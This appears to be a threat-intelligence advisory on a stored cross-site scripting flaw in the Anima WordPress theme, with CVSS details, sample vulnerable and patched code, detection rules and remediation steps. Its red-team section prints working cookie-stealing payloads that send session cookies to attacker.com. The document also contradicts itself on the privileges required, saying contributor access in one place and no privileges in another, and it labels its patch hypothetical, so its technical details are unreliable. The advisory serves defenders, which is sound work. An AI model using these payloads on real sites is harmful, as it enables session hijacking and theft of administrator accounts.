CVE-2024-37248

Executive Summary

CVE-2024-37248 is a Stored Cross-Site Scripting (XSS) vulnerability in the Anima WordPress theme developed by CryoutCreations. The vulnerability exists in versions up to and including 1.4.1 due to improper neutralization of user-supplied input during web page generation. An authenticated attacker with contributor-level access or higher can inject malicious scripts into posts, pages, or theme settings. When other users (including administrators) view the affected content, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing network exploitability, low attack complexity, and required user interaction. No public proof-of-concept or exploit code has been released, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Users who installed the theme via the WordPress dashboard or manual upload are at risk. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – An unauthenticated attacker can trigger the stored XSS if the injected content is accessible.
• User Interaction (UI): Required (R) – The victim must view the compromised page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of public exploits and low EPSS score (0.0%) reduce immediate risk. However, the stored nature of the XSS means a single injection can affect multiple users over time.

Deep Dive & Mechanics

The Anima theme fails to sanitize or escape user input when rendering dynamic content such as custom CSS, widget text, or post metadata. An attacker with contributor-level access can inject JavaScript into fields like:

• Custom CSS input in the theme customizer
• Widget text areas
• Post/page content via the block editor

When the WordPress site renders the page, the injected script is executed in the context of the victim’s browser. This is a classic stored XSS (CWE-79) where the payload persists in the database.

Attack Flow:

1. Attacker logs in with contributor or higher privileges.
2. Attacker navigates to a vulnerable input field (e.g., Custom CSS in Appearance > Customize).
3. Attacker injects a payload like <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. When an administrator or other user visits the affected page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (Anima <= 1.4.1):

// In functions.php or customizer.php
function anima_custom_css_output() {
    $custom_css = get_theme_mod('anima_custom_css');
    echo '<style>' . $custom_css . '</style>';
}

The $custom_css value is output directly without escaping.

Patched Code (Hypothetical):

function anima_custom_css_output() {
    $custom_css = get_theme_mod('anima_custom_css');
    echo '<style>' . esc_html($custom_css) . '</style>';
}

Using esc_html() or wp_kses() would neutralize the XSS.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site running Anima <= 1.4.1
• Attacker account with contributor or higher role

Steps:

1. Log in to WordPress admin.
2. Navigate to Appearance > Customize > Additional CSS.
3. Inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save and publish.
5. Wait for an administrator to visit the site.

Alternative Payload (Stealth):

<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual CSS or widget content changes.
2. Review WordPress audit logs for suspicious contributor activity.
3. Use the YARA and Sigma rules below to scan for payloads.

Mitigation:

• Disable the theme until a patch is available.
• Restrict contributor roles to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block <script> tags in CSS fields.

Indicators of Compromise (IOCs)

• File Hashes: (None available)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com)
  • HTTP requests containing document.cookie in the body
• Host Indicators:
  • Modified wp_options table entries with anima_custom_css containing <script> tags
  • Suspicious entries in wp_posts or wp_postmeta with JavaScript payloads
• Log Entries:
  • WordPress debug log entries showing wp_kses failures
  • Web server logs with POST requests to /wp-admin/customize.php

Detection Engineering

YARA Rule

rule CVE_2024_37248_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting Anima theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37248"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $theme = "anima" ascii wide nocase
    condition:
        any of ($xss*) and $theme
}

Sigma Rule

title: Stored XSS in Anima Theme
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress Anima theme custom CSS
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/customize.php*'
        cs-uri-query: '*anima_custom_css*'
        cs-body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in CSS (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37248 Stored XSS Payload in Anima Theme"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/customize.php"; http_uri; content:"anima_custom_css"; http_client_body; content:"<script>"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the Anima theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
   • Remove any suspicious custom CSS or widget content.
   • Rotate all admin passwords and session tokens.

2. Long-term Fix:

   • Monitor the CryoutCreations website for a patched version (expected > 1.4.1).
   • Apply the patch as soon as it is released.
   • Consider using a security plugin like Wordfence to block XSS attempts.

3. Preventive Measures:

   • Implement Content Security Policy (CSP) headers to restrict script execution.
   • Use wp_kses() and esc_html() in all theme output functions.
   • Conduct regular security audits of custom themes and plugins.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert